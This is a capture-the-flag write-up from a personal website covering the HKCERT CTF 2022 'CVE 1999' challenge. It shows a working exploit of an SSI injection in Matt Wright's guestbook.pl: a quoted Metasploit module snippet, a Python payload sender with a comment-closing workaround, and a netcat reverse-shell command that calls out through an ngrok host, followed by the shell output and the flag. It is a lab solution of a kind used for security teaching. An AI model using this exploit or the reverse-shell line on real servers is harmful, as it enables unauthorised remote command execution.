siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

CVE 1999

Overview

Background

Old news is so existing

Web: http://chal-a.hkcert22.pwnable.hk:28229/~matt/guestbook.html , http://chal-b.hkcert22.pwnable.hk:28229/~matt/guestbook.html

Remark: The guestbook will be cleaned up per minute

Find the flag

Home page:

In here, we can see this is a guestbook which created by Matt Wright.

addguest.html:

Also, we can send a POST request to /~matt/cgi-bin/guestbook.pl.

Let’s use searchsploit to see is there any public exploits!

┌──(root🌸siunam)-[~/ctf/HKCERT-CTF-2022/Web/CVE-1999]
└─# searchsploit Matt Wright Guestbook
------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                           |  Path
------------------------------------------------------------------------- ---------------------------------
Matt Wright Guestbook 2.3.1 - Guestbook.pl Multiple HTML Injection Vulne | cgi/webapps/27594.txt
The Matt Wright Guestbook.pl - Arbitrary Command Execution (Metasploit)  | cgi/webapps/16914.rb
The Matt Wright Guestbook.pl 2.3.1 - Server-Side Include                 | cgi/webapps/9907.rb
------------------------------------------------------------------------- ---------------------------------

Looks like it’s vulnerable to Server-Side Include (SSI)!

We can use searchsploit -m to mirror the exploit script:

┌──(root🌸siunam)-[~/ctf/HKCERT-CTF-2022/Web/CVE-1999]
└─# searchsploit -m 16914

Snipped 16914.rb exploit script:

	def exploit
		realname	= rand_text_alphanumeric(20)
		email		= rand_text_alphanumeric(20)
		city		= rand_text_alphanumeric(20)
		state		= rand_text_alphanumeric(20)
		country 	= rand_text_alphanumeric(20)

		sploit = Rex::Text.uri_encode("<!--#exec cmd=\"" + payload.encoded.gsub('"','\"') + "\"", 'hex-normal')

		req1 = send_request_cgi({
			'uri'     => datastore['URI'],
			'method'  => 'POST',
			'data'    => "realname=#{realname}&username=#{email}&city=#{city}&state=#{state}&country=#{country}&comments=#{sploit}",
		}, 25)

		req2 = send_request_raw({
			'uri'     => datastore['URIOUT'],
		}, 25)

	end

Hmm… Looks like the <!--#exec cmd="payload_here" is the payload!

Let’s write a simple python script to automate that!

#!/usr/bin/env python3

import requests
import string
import random
import sys
import urllib.parse

def main(payload):
	url = 'http://chal-a.hkcert22.pwnable.hk:28229/~matt/'
	payload = sys.argv[1]
	data = {
	'realname': ''.join(random.choices(string.ascii_letters, k=20)),
	'username': ''.join(random.choices(string.ascii_letters, k=20)),
	'url': ''.join(random.choices(string.ascii_letters, k=20)),
	'city': ''.join(random.choices(string.ascii_letters, k=20)),
	'state': ''.join(random.choices(string.ascii_letters, k=20)),
	'country': ''.join(random.choices(string.ascii_letters, k=20)),
	'comments': payload
}
	requests.post(url + 'cgi-bin/guestbook.pl', data=data)
	#requests.get(url + 'guestbook.html')

if __name__ == '__main__':
	if len(sys.argv) > 1:
		payload = sys.argv[1]
		main(payload)
	else:
		print(f'Usage: {sys.argv[0]} <payload>')
┌──(root🌸siunam)-[~/ctf/HKCERT-CTF-2022/Web/CVE-1999]
└─# python3 chal_automate.py '<!--#exec cmd="/bin/ls /"'

Now, when you refresh the guessbook.html page, you should see all the files in the target machine!

Note1: Although I get the flag, I have no idea why the exploit sometimes work, sometimes didn’t work.

Note2: After the CTF, Kaiziron said that the reason why it happens is because this:

$value =~ s/<!--(.|\n)*-->//g;

To get the payload working, we need to put --> on another field to close the payload.

Correct payload:

#!/usr/bin/env python3

import requests
import string
import random
import sys
import urllib.parse

def main(payload):
	url = 'http://chal-a.hkcert22.pwnable.hk:28229/~matt/'
	payload = sys.argv[1]
	data = {
	'realname': ''.join(random.choices(string.ascii_letters, k=20)),
	'username': ''.join(random.choices(string.ascii_letters, k=20)),
	'url': ''.join(random.choices(string.ascii_letters, k=20)),
	'city': ''.join(random.choices(string.ascii_letters, k=20)),
	'state': ''.join(random.choices(string.ascii_letters, k=20)),
	'country': '-->',
	'comments': payload
}
	# Send the payload
	requests.post(url + 'cgi-bin/guestbook.pl', data=data)
	
	# Trigger the payload
	requests.get(url + 'guestbook.html')

if __name__ == '__main__':
	if len(sys.argv) > 1:
		payload = sys.argv[1]
		main(payload)
	else:
		print(f'Usage: {sys.argv[0]} <payload>')

Ngrok for port forwarding:

┌──(root🌸siunam)-[~/ctf/HKCERT-CTF-2022/Web/CVE-1999]
└─# ngrok tcp 1337

Web Interface                 http://127.0.0.1:4040                                                        
Forwarding                    tcp://0.tcp.ap.ngrok.io:12434 -> localhost:1337

Setup a nc listener:

┌──(root🌸siunam)-[~/ctf/HKCERT-CTF-2022/Web/CVE-1999]
└─# nc -lnvp 1337
listening on [any] 1337 ...

Send the payload:

┌──(root🌸siunam)-[~/ctf/HKCERT-CTF-2022/Web/CVE-1999]
└─# python3 solve.py '<!--#exec cmd="nc 0.tcp.ap.ngrok.io 12434 -e /bin/bash"'
┌──(root🌸siunam)-[~/ctf/HKCERT-CTF-2022/Web/CVE-1999]
└─# nc -lnvp 1337
listening on [any] 1337 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 59618
whoami;hostname;id
daemon
chal29-cve-1999-0
uid=1(daemon) gid=1(daemon) groups=1(daemon)

ls -lah /
[...]
-r--r--r--   1 root root   54 Oct 30 03:53 flag
[...]

cat /flag
hkcert22{DiDu_c0opy_others_FLags_or_c0rnment_brb_Tags}

We got the flag!

Note: I also wrote a Proof-of-Concept python exploit for this CVE!

Conclusion

What we’ve learned:

  1. Exploiting Server-Side Include Vulnerability